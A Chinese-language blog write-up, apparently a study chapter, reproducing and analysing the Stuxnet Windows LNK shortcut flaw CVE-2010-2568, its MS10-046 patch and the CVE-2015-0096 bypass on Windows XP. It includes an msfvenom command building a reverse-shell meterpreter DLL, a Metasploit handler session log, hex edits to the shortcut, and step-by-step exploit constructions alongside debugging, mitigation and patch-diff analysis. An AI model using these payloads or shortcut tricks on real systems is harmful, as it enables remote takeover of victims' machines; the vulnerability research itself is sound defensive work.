启程
这是《0day安全》的最后一章。原书本章的标题为“LNK快捷方式文件漏洞”,介绍的是曾被Stuxnet使用的CVE-2010-2568。在查阅资料的过程中我发现后来还有CVE-2011-3402和CVE-2017-8464,它们分别被戏称作“震网二代”和“震网三代”,放在一起研究将会非常有意思。因为CVE-2011-3402并非快捷方式漏洞,而是Windows字体处理漏洞,所以我改了标题,从而将它们作为一个系列。
0 相关信息
# CVE-2010-2568/MS10-046
# Published: August 02, 2010
# https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-046
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2568
#
# 此漏洞的恶意样本通常通过移动硬盘来传播。
# 由于移动硬盘的盘符不固定,但是快捷方式中的路径必须是绝对路径,
# 因此恶意样本通常会创建多个快捷方式(可能多达26个,每个盘符一个),以便能触发漏洞。
#
# 该漏洞并未被MS10-046完全修复,引出CVE-2015-0096/MS15-020
1 漏洞复现
# 环境
> systeminfo
OS 名称: Microsoft Windows XP Professional
OS 版本: 5.1.2600 Service Pack 3 Build 2600
系统类型: X86-based PC
只有控制面板下的快捷方式才有效。这里我创建一个到“鼠标”的快捷方式:
对它按照如下方式编辑:
(较长的红色部分改动是Unicode字符串“C:\DLL.DLL”)
接着我们再创建用来反弹shell的DLL.DLL
:
msfvenom --payload windows/meterpreter/reverse_tcp LHOST=172.16.56.1 LPORT=4444 --format dll --arch x86 --platform windows --out DLL.DLL
将其放在C:\
。注意,此时我们的快捷方式还在桌面上,它并不会触发漏洞,因为它在无害时已经被桌面窗口加载过了。此时用命令行将它移到C盘中。
接着挂起对反弹shell的监听,然后在“我的电脑”中打开C盘,返回msf,发现目标成功上线:
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 172.16.56.1
LHOST => 172.16.56.1
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 172.16.56.1:4444
[*] Sending stage (179779 bytes) to 172.16.56.134
[*] Meterpreter session 1 opened (172.16.56.1:4444 -> 172.16.56.134:1034) at 2018-11-19 15:38:43 +0800
只是此时目标机器的“我的电脑”窗口将处于假死状态,只能被强行关闭。所以不能把这个图标PoC放在桌面上,否则一开机就会触发漏洞。只好调出任务管理器用命令行把它移动到C盘,然后重启explorer.exe进程。
这一点我一直没想明白,当初震网在伊朗也是这个表现吗?插入U盘导致窗口假死,还是会引起怀疑的吧?还是说它被做了优化处理?
整体来看,效果还是蛮震撼的,不需要运行任何程序,只需要目标打开窗口“看一眼”就够了。
msf中也有对应的exploit/windows/browser/ms10_046_shortcut_icon_dllloader
,经过测试,会导致IE崩溃。其新颖的点在于,它是诱使目标访问恶意URL,从而借助WebDAV触发漏洞的。它在lnk文件中指定的路径是\\192.168.1.101\FtLtw0\jgzXtW.dll
。
震网是借助U盘传播,总之利用方式多种多样。
更新
在研究CVE-2017-8464时,我发现有的dll payload会导致崩溃,有的则不会。我对这种情况进行了深入研究,放在0day安全 |番外 Stuxnet CVE-2017-8464。
2 漏洞分析
2.0 漏洞触发过程概述
黑红色相接处是问题所在:要加载的是cpl文件,为什么dll文件也能够被加载呢?参考MS10-046_LNK文件快捷方式漏洞的原理分析(多图杀猫)可知,cpl本质上也是一种dll文件。
这也是我们要用控制面板下工具的快捷方式,而非普通文件的快捷方式的原因——只有这样才能触发cpl加载机制,因为控制面板下的各个工具都是.cpl
文件。参考Description of Control Panel (.cpl) Files:
Each tool in Control Panel is represented by a .cpl file in the Windows\ System folder. The .cpl files in the Windows\System folder are loaded automatically when you start Control Panel.
在进行漏洞分析之前,我们对上图中的两个条件分支再作以下说明:
- 控制面板下的cpl文件均不包含IconLocation String,所以第一个条件分支必定走N
- 正常情况下,并非所有控制面板下的cpl文件0x7A处都不为零,在上面“漏洞复现”环节中,我们使用的鼠标文件其0x7A处为0xFFFFFF9C,但包括防火墙在内的一些cpl文件本身这个位置就是0,因此即使我们不作修改,Windows在解析它的快捷方式时也会走第二个条件分支的Y。当然了,被加载的是正常cpl文件
- 第二个条件分支N流的详细过程是怎样的?怎样根据0xFFFFFF9C去找到图标呢?网上比较模糊的说法是将其作为索引去寻找图标,但没有详细解释。我作出以下猜想:0xFFFFFF9C如果看作有符号数,就是-100,所谓的索引是对其取绝对值得到的。下面进行验证:
鼠标的快捷方式中Shell Item Id List
指定的文件路径是C:\Windows\System32\main.cpl
,我们使用Resource Hacker打开,在Icon Group
中找到100对应的资源:
可以发现,确实为鼠标(多个控制面板工具都指定了main.cpl
作为cpl,所以其中包含了许多图标资源)。
再如,我们创建“声音和音频设备”的快捷方式,其0x7A处是0xFFFFF444,即-3004。它的Shell Item Id List
指定的是mmsys.cpl
,打开后可以发现同样符合猜想:
除此之外,我还验证了键盘、电源选项和安全中心。猜想均成立,这里不再列出。
至此,上述漏洞利用流程得到自洽的解释。客观来说,由于微软没有公布完整的LNK文件结构,后面的分析过程大多建立在前人的基础上,它本身是自洽的,但是或许并不完善。
2.1 背景知识
LNK文件结构
在下面的结构图中,除了Header
都是可选段:
+--------------------------+
| Header |
+--------------------------+
| Shell Item Id List |
+--------------------------+
| File Location Info |
+--------------------------+
| Description |
+--------------------------+
| Relative Path |
+--------------------------+
| Working Directory |
+--------------------------+
| Command Line Arguments |
+--------------------------+
| Icon Filename |
+--------------------------+
| Additional Info |
+--------------------------+
控制面板下工具的快捷方式仅仅包括Header
和Shell Item Id List
。
微软官方的快捷方式结构定义如下,它与我们上面的结构图是一致的:
SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO]
[STRING_DATA] *EXTRA_DATA
我们以“鼠标”的快捷方式为例进行讲解。Header中我们在意的是:
# LinkFlags
81 00 00 00
结合文档可以知道它有HasLinkTargetIDList
无HasIconLocation
标志。这与我们的认知一致。
HasLinkTargetIDList: The shell link is saved with an item ID list (IDList). If this bit is set, a LinkTargetIDList structure (section 2.2) MUST follow the ShellLinkHeader. If this bit is not set, this structure MUST NOT be present.
HasIconLocation: The shell link is saved with an icon location string. If this bit is set, an ICON_LOCATION StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present.
Shell Item Id List
如下:
C2 00 14 00 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8
08 00 2B 30 30 9D 14 00 2E 00 20 20 EC 21 EA 3A
69 10 A2 DD 08 00 2B 30 30 9D 98 00 00 00 9C FF
FF FF 00 00 00 00 00 6A 00 00 00 00 00 00 1D 00
20 00 43 00 3A 00 5C 00 57 00 49 00 4E 00 44 00
4F 00 57 00 53 00 5C 00 73 00 79 00 73 00 74 00
65 00 6D 00 33 00 32 00 5C 00 6D 00 61 00 69 00
6E 00 2E 00 63 00 70 00 6C 00 00 00 20 9F 07 68
00 00 EA 81 9A 5B 49 4E 20 9F 07 68 BE 8B 6E 7F
0C FF 8B 4F 82 59 09 63 AE 94 BE 8B 6E 7F 0C FF
CC 53 FB 51 1F 90 A6 5E 0C FF 20 9F 07 68 07 63
88 94 0C FF 8C 54 FB 79 A8 52 1F 90 A6 5E 02 30
00 00
可以参考【转】 快捷方式lnk文件格式详解(英文)(中文)和Github:libyal/libfwsi/documentation/Windows Shell Item format.asciidoc去了解Shell Item Id List
(也就是官方文档中的LinkTargetIDList
)。比较容易理解,但是有一些内容微软未公布,这里不再展开。总而言之,它包含三项,分别是“我的电脑”的GUID、“控制面板”的GUID和目标cpl文件路径。
GUID在Windows中又被称作CLSID。挺有意思,可以了解一下。我们可以通过在“运行”中输入以下路径来打开控制面板:
::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}
另外,可以在HKEY_CLASSES_ROOT\CLSID
下看到CLSID的详细内容:
2.2 分析调试
用OD附加explorer.exe。我们知道加载dll的函数是LoadLibraryW
,所以设置以下条件断点:
bp LoadLibraryW Unicode[[ESP+4]]=="C:\\DLL.DLL"
这么做是因为LoadLibraryW
是一个频繁被调用的函数。我们不能一下子就打开C盘,所以如果不使用条件断点进行过滤,那么后面的调试中在抵达目的地前会被中断很多次。需要注意,我们下条件断点时的表达式中要用C:\\DLL.DLL
而非C:\DLL.DLL
。后者会被当作无效表达式,从而导致条件断点变成无条件断点。
设置完后F9运行,然后打开“我的电脑”,进入C盘查看C:\DLL.DLL
。此时将触发断点。如果断点没有触发,说明你之前已经浏览过这个目录,产生了缓存。在这种情况下需要将这个文件重命名来触发断点。
中断后查看函数调用栈:
OD载入pdb的机制有问题,所以上面有很多函数没有显示出来。这里我采用静态分析与动态调试相结合的方法。用IDA加载pdb文件对shell32.dll反汇编,然后对上面图中给出的函数在IDA中进行依次定位,从而得到以下调用链:
.text:7D63851D ; int __stdcall _LoadCPLModule(LPCWSTR lpLibFileName)
.text:7D63862A call ds:__imp__LoadLibraryW@4
.text:7D63877D ; __stdcall CPL_LoadCPLModule(x)
.text:7D638783 jmp __LoadCPLModule@4
.text:7D641942 ; __stdcall CPL_LoadAndFindApplet(x, x, x, x)
.text:7D641987 call _CPL_LoadCPLModule@4
.text:7D642415 ; int __stdcall CPL_FindCPLInfo(unsigned __int16 *, int, int, int
.text:7D642456 call _CPL_LoadAndFindApplet@16
.text:7D715D8A ; __int32 __thiscall CCtrlExtIconBase::_GetIconLocationW(CCtrlExtIconBase *this, \
; char, LPWSTR lpString1, unsigned int iMaxLength, int *, unsigned int *)
.text:7D715E00 call _CPL_FindCPLInfo@16
.text:7D5C61E9 ; __int32 __stdcall CExtractIconBase::GetIconLocation(CExtractIconBase *this, \
; unsigned int, unsigned __int16 *, unsigned int, int *, unsigned int *)
.text:7D5C6205 call dword ptr [eax+14h]
.text:7D5D681E ; __int32 __stdcall CShellLink::GetIconLocation(CShellLink *this, \
; unsigned int, unsigned __int16 *, unsigned int cwchBuf, int *, unsigned int *)
.text:7D5D687E call dword ptr [ecx+0Ch]
.text:7D5C5DFD ; __int32 __stdcall _GetILIndexGivenPXIcon(struct IExtractIconW *, \
; unsigned int, const struct _ITEMIDLIST *, int *, int)
.text:7D5C5E64 call dword ptr [eax+0Ch]
.text:7D5C3D3F ; __stdcall SHGetIconFromPIDL(x, x, x, x, x)
.text:7D5C3DAE call ?_GetILIndexGivenPXIcon@@YGJPAUIExtractIconW@@IPBU_ITEMIDLIST@@PAHH@Z
.text:7D5CC8C0 ; __int32 __stdcall CFSFolder::GetIconOf(CFSFolder *this, \
; const struct _ITEMIDLIST *, unsigned int, int *)
.text:7D5CDB36 call _SHGetIconFromPIDL@20
接下来我们从CCtrlExtIconBase::_GetIconLocationW
入手,因为它紧接着就会调用CPL_FindCPLInfo
加载Icon图片。重启OD,附加explorer.exe,然后在7D715D8A
下普通断点(没有必要使用条件断点,因为这里已经进入了控制面板文件快捷方式的图标加载流程,我们从开始菜单打开“我的电脑”,再进入C盘,只会遇上一个这种类型的快捷方式,正是ExP),并F9。
当我们执行到取地址指令LEA完成后,观察到ebx指向字符串C:\DLL.DLL,0,
:
紧接着的指令段将把两个,
之间的数字提取出来并转换为整形:
7D715DA4 FF75 0C PUSH DWORD PTR SS:[EBP+0xC]
7D715DA7 FF15 0015597D CALL DWORD PTR DS:[<&KERNEL32.lstrcpynW>>; kernel32.lstrcpynW
7D715DAD 6A 2C PUSH 0x2C
7D715DAF FF75 0C PUSH DWORD PTR SS:[EBP+0xC]
7D715DB2 FF15 F41B597D CALL DWORD PTR DS:[<&SHLWAPI.StrChrW>] ; shlwapi.StrChrW
7D715DB8 85C0 TEST EAX,EAX
7D715DBA 74 5D JE SHORT shell32.7D715E19
7D715DBC 66:8320 00 AND WORD PTR DS:[EAX],0x0
7D715DC0 83C0 02 ADD EAX,0x2
7D715DC3 50 PUSH EAX
7D715DC4 FF15 641C597D CALL DWORD PTR DS:[<&SHLWAPI.StrToIntW>] ; shlwapi.StrToIntW
返回值存储在eax中,接下来判断它是否为0,不是则将跳转到shell32.7D715E13
,这样就不会执行CPL_FindCPLInfo
函数:
7D715DCA 8B7D 14 MOV EDI,DWORD PTR SS:[EBP+0x14]
7D715DCD 8907 MOV DWORD PTR DS:[EDI],EAX ; ds:[edi] = eax = 0
7D715DCF 8B45 18 MOV EAX,DWORD PTR SS:[EBP+0x18]
7D715DD2 C700 02000000 MOV DWORD PTR DS:[EAX],0x2
7D715DD8 8B0F MOV ECX,DWORD PTR DS:[EDI] ; ecx = ds:[edi]
7D715DDA 33D2 XOR EDX,EDX
7D715DDC 3BCA CMP ECX,EDX ; whether ecx is 0?
7D715DDE 75 33 JNZ SHORT shell32.7D715E13 ; not 0 then jmp away
7D715DE0 C700 1A000000 MOV DWORD PTR DS:[EAX],0x1A
7D715DE6 8D86 14020000 LEA EAX,DWORD PTR DS:[ESI+0x214]
7D715DEC 3910 CMP DWORD PTR DS:[EAX],EDX
7D715DEE 8955 0C MOV DWORD PTR SS:[EBP+0xC],EDX
7D715DF1 75 16 JNZ SHORT shell32.7D715E09
7D715DF3 8D4D 0C LEA ECX,DWORD PTR SS:[EBP+0xC]
7D715DF6 51 PUSH ECX
7D715DF7 8D8E 18020000 LEA ECX,DWORD PTR DS:[ESI+0x218]
7D715DFD 51 PUSH ECX
7D715DFE 50 PUSH EAX
7D715DFF 53 PUSH EBX
7D715E00 E8 10C6F2FF CALL shell32.7D642415 ; CPL_FindCPLInfo
这就是为什么我们要把0xFFFFFF9C
改为0x00000000
的原因。到这里可以再回顾下一开始的漏洞利用流程图。
引用原书作者的话:
而程序一旦进入CPL_FindCPLInfo函数之后,就会一路高歌地去调用LoadLibraryW来加载"C:\DLL.DLL"了。
综上,漏洞根源在于未经过可信校验就去加载DLL文件。
3 深度分析
最初我觉得,经过上面的分析之后,虽然整个逻辑链并不是完善的,但已经足够了。然而,总是感觉缺少了什么东西。后来在网上找到一位前辈的分析:Windows Lnk Vul Analysis:From CVE-2010-2568(Stuxnet 1.0) to CVE-2017-8464(Stuxnet 3.0),读完后感觉相形见绌。我也终于发现上面自己描述的漏洞触发过程存在的问题:缺少细节。例如,为什么会有C:\DLL.DLL,0,
这样的字符串生成?快捷方式文件又是从哪个函数开始被逐步解析的?它是怎样被解析的?这些都没有分析出来。一言蔽之,我上面的分析有些盲人摸象的意思。强烈推荐阅读前辈的这篇文章。下面我将结合自己的理解和已有成果,一步步去研习前辈的分析思路。
3.0 CPL解析溯源
我们希望能够找到最开始解析CPL文件的函数。仅仅根据上面给出的函数调用栈并不能得出这个信息。怎样溯源呢?一种常见的思路是跟踪全局或局部变量在函数调用过程中的传递。在上面的基础分析中,我们弄清楚了从GetIconLocationW
函数解析C:\DLL.DLL,0,
到高歌猛进去LoadLibraryW
的过程,下面我们就跟随C:\DLL.DLL,0,
字符串向上走,看看它是怎么被一路传递下来的。这样一来,我们很可能就会逐步摸清楚CPL文件的解析过程。
OK,现在我们位于提到过的CCtrlExtIconBase::_GetIconLocationW
取址处。将C:\DLL.DLL,0,
记为字符串p,那么通过在反汇编代码中追踪可以发现(因为是回溯,所以下面的汇编代码是倒序的,从它们的地址变化可以看出):
; CCtrlExtIconBase::_GetIconLocationW
.text:7D715DA0 lea ebx, [esi+0Ch] ; p = esi + 0xc ; 5
.text:7D715D98 mov esi, ecx ; 4, -> 5
; CExtractIconBase::GetIconLocation
.text:7D5C61F7 add ecx, 0FFFFFFFCh ; 3, -> 4
.text:7D5C61F1 mov ecx, [ebp+8] ; 2, -> 3
; CShellLink::GetIconLocation
.text:7D5D687D push eax ; 1, -> 2
.text:7D5D6862 mov eax, [esi+50h] ; 0, -> 1
; ...
.text:7D5D6853 call ?_InitExtractIcon@CShellLink@@AAEJXZ
0 -> 5
即是字符串p的在不同函数间的传递过程。追溯到CShellLink::GetIconLocation
后线索中断,但是7D5D6862
前面不久有一个初始化函数_InitExtractIcon
被调用,猜测它与CPL文件解析有关。
我希望能够在OD内中断到_InitExtractIcon
,但是它是一个被频繁调用的函数,下普通断点太麻烦。我们看一下它的反汇编指令有没有什么特征:
.text:7D5D68D8 mov edi, edi
.text:7D5D68DA push esi
.text:7D5D68DB mov esi, ecx
.text:7D5D68DD lea eax, [esi+78h]
.text:7D5D68E0 cmp dword ptr [eax], 0
这是它的开头5条指令。这说明调用它时[ecx+78h]
应该为0,可以凭借此在7D5D6853
下条件断点dword[ecx+0x78]==0
,成功中断。之后结合使用OD和IDA,我们最终跟到CControlPanelFolder::GetUIObjectOf
,它正是解析并生成C:\DLL.DLL,0,
的函数:
HRESULT __stdcall CControlPanelFolder::GetUIObjectOf(CControlPanelFolder *this, \
HWND a2, UINT cidl, const struct _ITEMIDLIST **a4, const struct _GUID *a5, \
unsigned int *a6, IDataObject **a7)
{
// ...
apidl = a4;
v11 = (int)a5;
if ( cidl && a4 )
v10 = (int)CControlPanelFolder::_IsValid(*a4); // check valid
else
v10 = 0;
*a7 = 0;
if ( v10 ){
if ( !memcmp(a5, &IID_IExtractIconA, 0x10u) || !memcmp((const void *)v11, &IID_IExtractIconW, 0x10u) ){
// get the path
v12 = CControlPanelFolder::GetModuleMapped(v10, &pszPath, 260, (int)&apidl, (int)&psz1, 260);
if ( v12 >= 0 ){
if ( !psz1 )
v12 = CControlPanelFolder::GetDisplayName(v10, &psz1, 260);
if ( v12 >= 0 ){
// construct "C:\DLL.DLL,0,"
v12 = StringCchPrintfW(&String2, 554, L"%s,%d,%s", (unsigned int)&pszPath, apidl, &psz1);
if ( v12 >= 0 )
// create instance
return ControlExtractIcon_CreateInstance(&String2, v11, (int)a7);
}
}
}
// ...
}
return v12;
}
跟进看一下CControlPanelFolder::GetModuleMapped
的逻辑:
int __stdcall CControlPanelFolder::GetModule(int a1, LPWSTR psz1, int cchMax)
{
// ...
v3 = CControlPanelFolder::_IsUnicodeCPL((struct _IDCONTROL *)a1);
if ( v3 )
// 这里从LinkTargetIDList[2]偏移24处获得路径C:\DLL.DLL,其中使用的参数12是Unicode长度
v5 = StrCpyNW(psz1, (LPCWSTR)v3 + 12, cchMax);
// ...
return 0;
}
__int32 __stdcall CControlPanelFolder::GetModuleMapped(int a1, \
LPCWSTR pszPath, int cchMax, int a4, int a5, int a6)
{
// ...
// 首次解析出路径
v13 = CControlPanelFolder::GetModule(a1, (LPWSTR)pszPath, cchMax);
if ( v13 < 0 )
return v13;
v13 = 1;
v6 = PathFindFileNameW(pszPath); // from "C:\DLL.DLL" get the filename "DLL.DLL"
v7 = 0;
v8 = cchMax - (v6 - pszPath);
lpString1 = v6;
// a1就是LinkTargetIDList结构的第三项,即我们的CPL文件路径项
if ( *(_DWORD *)(a1 + 4) <= 0 && v6 ){
v12 = 0;
// 这个循环是根据icon id在dword_7D5A30CC处的一个CPL文件名列表中尝试匹配
while ( *(_DWORD *)(a1 + 4) != dword_7D5A30CC[v12 / 2] || lstrcmpiW(lpString1, (&off_7D5A30C8)[v12]) ){
v12 += 10;
++v7;
if ( v12 >= 170 ) // 匹配失败
goto LABEL_15;
}
// ...
}
LABEL_15:
if ( a4 ) // a4用来存储icon id
*(_DWORD *)a4 = *(_DWORD *)(a1 + 4); // 之前匹配失败,所以a4被赋值为我们设置的值0
if ( a5 )
*(_WORD *)a5 = 0;
if ( v13 >= 0 ){
LABEL_20:
if ( !PathFileExistsW(pszPath) ) // 如果CPL文件路径有误
GetSystemDirectoryW(&Buffer, 0x104u); // 则将路径替换为系统路径
if ( PathCombineW(&szDest, &Buffer, lpString1) )
// 也就是说如果我们给了一个错误的路径C:\xx\DLL.DLL
// 那么最终它会被替换为C:\Windows\System32\DLL.DLL
v13 = StringCchCopyW((unsigned __int16 *)pszPath, cchMax, &szDest);
else
v13 = -2147467259;
}
}
return v13;
}
从上面的代码中可以看出,我之前关于索引的猜想或许是不正确的,icon id
的用途如上面的注释中所示,并非我想的那样(但是也太巧了)。
CControlPanelFolder::GetUIObjectOf
在最后会调用ControlExtractIcon_CreateInstance
,它将调用构造函数去创建一个新对象:
v4 = CCtrlExtIconBase::CCtrlExtIconBase(v3, lpString2);
构造函数如下:
void *__thiscall CCtrlExtIconBase::CCtrlExtIconBase(void *this, LPCWSTR lpString2)
{
void *v2; // esi@1
v2 = this;
CExtractIconBase::CExtractIconBase((int)this);
*((_DWORD *)v2 + 133) = 0;
*((_DWORD *)v2 + 134) = -1;
*(_DWORD *)v2 = &CCtrlExtIconBase::`vftable'{for `IExtractIconA'};
*((_DWORD *)v2 + 1) = &CExtractIcon::`vftable'{for `IExtractIconW'};
lstrcpynW((LPWSTR)v2 + 6, lpString2, 260);
return v2;
}
它将字符串C:\DLL.DLL,0,
存储在对象偏移为6宽字符的成员变量处,并限制它的长度不超过260宽字符。
至此,初始化过程结束。控制流将回到CShellLink::GetIconLocation
中去走我们前面已经讲过的触发漏洞的流程。
前辈画了一个非常直观的流程图来说明这一切,我转载到这里:
至此,一切都清楚了。
3.1 新的ExP构建方式
我们先看一下前面分析过的CCtrlExtIconBase::_GetIconLocationW
函数的反编译结果:
int __thiscall CCtrlExtIconBase::_GetIconLocationW(int this, char a2, LPWSTR lpString1, int iMaxLength, int a5, int a6)
{
// ...
v6 = 1;
v7 = this;
if ( !(a2 & 1) ){
lstrcpynW(lpString1, (LPCWSTR)(this + 12), iMaxLength);
v8 = StrChrW(lpString1, ',');
if ( v8 ){
*v8 = 0;
v9 = StrToIntW(v8 + 1);
v10 = (_DWORD *)a5;
*(_DWORD *)a5 = v9;
v11 = (_DWORD *)a6;
*(_DWORD *)a6 = 2;
if ( *v10 ){
if ( *v10 > 0 )
*v10 = 0;
}
else{
*v11 = 26;
v12 = *(_DWORD *)(v7 + 532) == 0;
lpString1 = 0;
if ( !v12 || CPL_FindCPLInfo(v7 + 12, v7 + 532, v7 + 536, &lpString1) )
*v10 = *(_DWORD *)(v7 + 536);
}
v6 = 0;
}
}
return v6;
}
大概意思是,从CPL路径中寻找到第一个,
,然后对它后面的数据做StrToInt
,接着判断得到的值是否为0,只有为0时才会去调用CPL_FindCPLInfo
。这符合我们的认知。
那么,如果我们一开始就把快捷方式中的CPL路径设置为C:\DLL.DLL,
呢?根据前面分析的结果,CCtrlExtIconBase::_GetIconLocationW
得到的将会是C:\DLL.DLL,,x,
,这个x是什么无所谓,因为上面的代码找到第一个,
就会进行字符串转整数,而这里直接遇到了下一个,
,所以将得到0。这样看来,似乎不必将快捷方式中的索引0xFFFFFF9C
修改为0了。
但是有一个小问题,C:\DLL.DLL,
实际上是一个非法路径,所以CControlPanelFolder::GetModuleMapped
会将其替换为C:\Windows\System32\DLL.DLL,
。
综上,我们可以得到一种新的ExP构造方式:
保持0xFFFFFF9C
不变,将路径改为C:\DLL.DLL,
,同时把DLL.DLL
放入C:\Windows\System32
。
经过测试,这个ExP是有效的。当然了,它的使用场景非常受限,我们很难做到目标机器C:\Windows\System32
下有一个恶意dll。
4 应对方案
这里的“应对方案”指的是漏洞刚刚曝出、补丁尚未发布时的应对方案。我只是想看看当时的缓解措施是怎样的。毫无疑问,长远来看最好的缓解措施就是打补丁。补丁将在下一节分析。
最直接的思路:关闭快捷方式的图标显示。
方法:进入注册表,先将HKEY_CLASSES_ROOT\lnkfile\shellex\IconHandler
导出备份,然后将其默认值设置为空,重启电脑。
这次就不会触发漏洞了。只是桌面也变得很丑。
5 补丁分析
The security update addresses the vulnerability by correcting validation of shortcut icon references.
我们先为XP SP3打补丁WindowsXP-KB2286198-x86-CHS
,下载地址为Windows XP安全更新程序(KB2286198)。安装后旧ExP果然不能触发漏洞了。
OK,按照补丁对比的步骤,分别下载前后两者的pdb文件,然后得到两个idb,载入BinDiff。
结合前面的经验,经过分析,我们定位到CControlPanelFolder::GetUIObjectOf
函数:
可以发现,有两处不同。
第一处如下:
在IDA中对应如下:
v11 = CControlPanelFolder::GetModuleMapped(v9, &Start, 0x104u, (unsigned int *)&apidl, &psz1, 0x104u);
if ( v11 >= 0 ){
if ( StrChrW(&Start, ',') )
return -2147024809;
具体是,判断快捷方式中CPL路径中是否有,
,有就出错返回。这使得我们上面提到的第二种ExP无法成功。
第二处如下:
在IDA中对应如下:
if ( !apidl && \
!CControlPanelFolder::_IsRegisteredCPLApplet((CControlPanelFolder *)((char *)this - 16), &Start) ){
apidl = (LPCITEMIDLIST *)-1;
}
v11 = StringCchPrintfW(&pszDest, 0x22Au, L"%s,%d,%s", &Start, apidl, &psz1);
具体是,引入了CControlPanelFolder::_IsRegisteredCPLApplet
函数去检查目标是否在注册列表(也就是白名单)中,如果不在,就将icon id设为-1,这就导致后面的CPL_FindCPLInfo
无法被调用。
至此,似乎漏洞被完美修补。
Aber nicht wahr? :)
6 CVE-2015-0096/MS15-020
很遗憾,MS10-048补丁并不能起到应有的作用。然而这一问题竟然是在2015年初才被发现。
概述一下补丁效果:之前的第二种ExP已经无效;而第一个ExP中的C:\DLL.DLL
最终会由于不在白名单内,变成C:\DLL.DLL,-1,
字符串从而无法触发CPL加载机制。
但是,这一切很魔幻,现实果然比电影要精彩。我们从上面所有讲解中抽取出以下事实:
C:\xxx.DLL
这样的非法CPL将形成C:\xxx.DLL,-1,
这样的字符串CControlPanelFolder::GetUIObjectOf
最终会调用CCtrlExtIconBase::CCtrlExtIconBase
构造函数,它将限制C:\xxx.DLL,x,
字符串不超过260个宽字符- 下游的
CCtrlExtIconBase::_GetIconLocationW
将调用StrToIntW
,其特点是遇到非数字字符将停止转换,如果直接遇到非数字字符,就返回0
那么,如果我们构造
"C:\" + "A" * 250 + ".DLL"
这样的DLL文件路径,它在经过第一步处理后得到
"C:\" + "A" * 250 + ".DLL" + ",-1,"
经过第二步260宽字符限制后,恰好-1
的1
被删去,得到
"C:\" + "A" * 250 + ".DLL" + ",-"
显然,到第三步时可以使icon id为0。这样来看,似乎我们就绕过了补丁限制。然而事情并没有这么简单。
我们知道,调用LoadLibraryW
的函数是_LoadCPLModule
。这个函数一开始有一句
if ( StringCchPrintfW(&pszDest, 0x104u, L"%s.manifest", lpLibFileName) < 0 )
return 0;
它尝试将CPL文件路径与.manifest
拼接,写入长度为0x104,也就是260宽字符的缓冲区中。很明显拼接得到的字符串长度是257 + 9 > 260
,所以StringCchPrintfW
失败,从而在这里return,后面的流程无法被执行。
但是柳暗花明又一村(魔幻)。_LoadCPLModule
的上游函数链中有一个是CPL_FindCPLInfo
。CPL_FindCPLInfo
在调用到_LoadCPLModule
前会执行一个CPL_ParseCommandLine
函数。其代码如下:
int __stdcall CPL_ParseCommandLine(int a1, unsigned __int16 *a2, int a3)
{
int v3; // eax@1
unsigned __int16 *v5; // [sp+Ch] [bp-18h]@1
WCHAR Src; // [sp+10h] [bp-14h]@2
v5 = CPL_ParseToSeparator(a1 + 4, a2, 0x104u, 1);
v3 = 0;
if ( a3 )
{
v5 = CPL_ParseToSeparator((int)&Src, v5, 8u, 0);
v3 = StrToIntW(&Src);
}
*(_DWORD *)a1 = v3;
*(_DWORD *)(a1 + 1044) = CPL_ParseToSeparator(a1 + 524, v5, 0x104u, 0);
return CPL_StripAmpersand(a1 + 524);
这个函数的功能类似于strip
,是根据标识符去解析字符串:一旦遇到标识符,则丢弃标识符及其后面的内容。它的主要执行函数是CPL_ParseToSeparator
。传入的第四个参数为1,代表使用逗号和空格作为标识符;为0代表仅仅使用逗号作为标识符。CPL_ParseToSeparator
内部逻辑如下:
if ( a4 ){
v8 = (LPWSTR)&v7[StrCSpnW(v7, L", ")];
if ( !*v8 )
v8 = 0;
}
else
v8 = StrChrW(v7, ',');
由于补丁已经限制了我们的路径中不能出现逗号,所以我们可以在路径中使用空格,构造如下的路径:
"C:\" + "test " + "A" * 245 + ".DLL"
CPL_ParseCommandLine
会将它解析为C:\test
,这样就可以解决与.manifest
拼接时空间不够的问题。
需要注意的是,这样一来,最终加载使用的文件名也变成了test
,所以我们要在相同目录下再准备一个C:\test.DLL
文件。
整理一下思路,就是:
- 利用超长路径绕过白名单限制
- 利用空格绕过拼接时长度限制
现在来构造快捷方式。推荐使用010 Editor
编辑器,可以轻松将普通字符串粘贴为Unicode:
别忘了修改List中的Size。最终ExP如下:
C盘目录下需要准备的所有文件如下:
前辈的文章中还讲解了以下内容:
- Windows 7和Windows 8平台下Exploit失败的修复方法
- 微软针对CVE-2015-0096/MS15-020发布的补丁详情
这里不再展开。
总结
当初能够挖到这个0Day的人不简单。各种漏洞分析都是事后诸葛,其实现在更缺少的是对漏洞挖掘人员的挖洞过程的描述。未来可以读一读《捉虫日记》。
分析的过程中多次想要“到此为止”。后来终于能够静下心耐下心来分析,还是不错的。
终于写完了 :P
其他参考
- 震网三代攻击堪比大片 360国内独家防御
- “看一眼就中招”的奇葩漏洞重出江湖,分分钟偷走你的 Windows 密码
- Microsoft Windows - Automatic .LNK Shortcut File Code Execution
- windows平台.lnk文件感染技术研究
- LNK快捷方式文件漏洞简要分析
- 控制面板
- clsid
- How to run Control Panel tools by typing a command
- Windows 快捷方式漏洞分析
- Microsoft Security Bulletin MS10-046 - Critical
- 微软MS10-046细节分析
- CPL文件利用介绍
- Microsoft Windows DLL Loading CVE-2015-0096 Remote Code Execution Vulnerability